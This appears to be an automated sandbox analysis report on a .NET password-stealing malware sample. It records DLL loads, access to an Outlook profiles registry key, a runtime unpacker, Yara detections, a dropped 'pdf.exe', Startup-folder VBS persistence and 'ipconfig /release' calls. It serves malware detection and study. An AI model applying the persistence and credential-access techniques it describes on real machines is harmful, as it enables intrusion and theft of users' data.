Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: PC.pdB.p source: InstallUtil.exe, 0000000E.00000002.1673521870.0000000001280000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1455658225.0000000006080000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.00000000040DE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.000000000408E000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003C75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1455658225.0000000006080000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.00000000040DE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.000000000408E000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003C75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003BF3000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: lPC.pdB.p source: InstallUtil.exe, 0000000E.00000002.1673521870.0000000001280000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, Tcnzvaxlf.cs	.Net Code: Pinrbapfw System.AppDomain.Load(byte[])
Source: pdf.exe.0.dr, Tcnzvaxlf.cs	.Net Code: Pinrbapfw System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6980000.8.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6980000.8.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6980000.8.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6980000.8.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6980000.8.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 19.2.pdf.exe.3a89db5.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6890000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6890000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3a29d75.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3a49d95.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.pdf.exe.3a89db5.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1738552650.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1459801581.0000000006890000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdf.exe PID: 7948, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_01271DE0 push esp; retf	0_2_01271DE1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06364EC5 push es; ret	0_2_06364EE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06360CFD push es; iretd	0_2_06360D5C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06360D8D push es; iretd	0_2_06360DB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F14277 push ebx; ret	11_2_04F142DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F16338 push eax; ret	11_2_04F16341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F13C81 push eax; iretd	11_2_04F13C82
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F13D38 push edx; iretd	11_2_04F13D3A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F13D18 push eax; iretd	11_2_04F13D1A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F17A21 pushfd ; iretd	11_2_04F17A22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F17A28 pushfd ; iretd	11_2_04F17A2A
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_00E71DE0 push esp; retf	19_2_00E71DE1

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.64b0000.5.raw.unpack, mA8tmpGMmb1EVXAS3vH.cs

High entropy of concatenated method names: 'HRCGZSfQEj', 'iYtG7uLQnO', 'Rm3Go7xPRI', 'i21Gttbf1i', 'nVZGIHeOki', 'uxbGJkBWEV', 'DR4GQirLCa', 'AYMG0SZPQ4', 'SRaGwaB1SC', 'osiGcFMDSZ'

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File created: C:\Users\user\AppData\Roaming\pdf.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
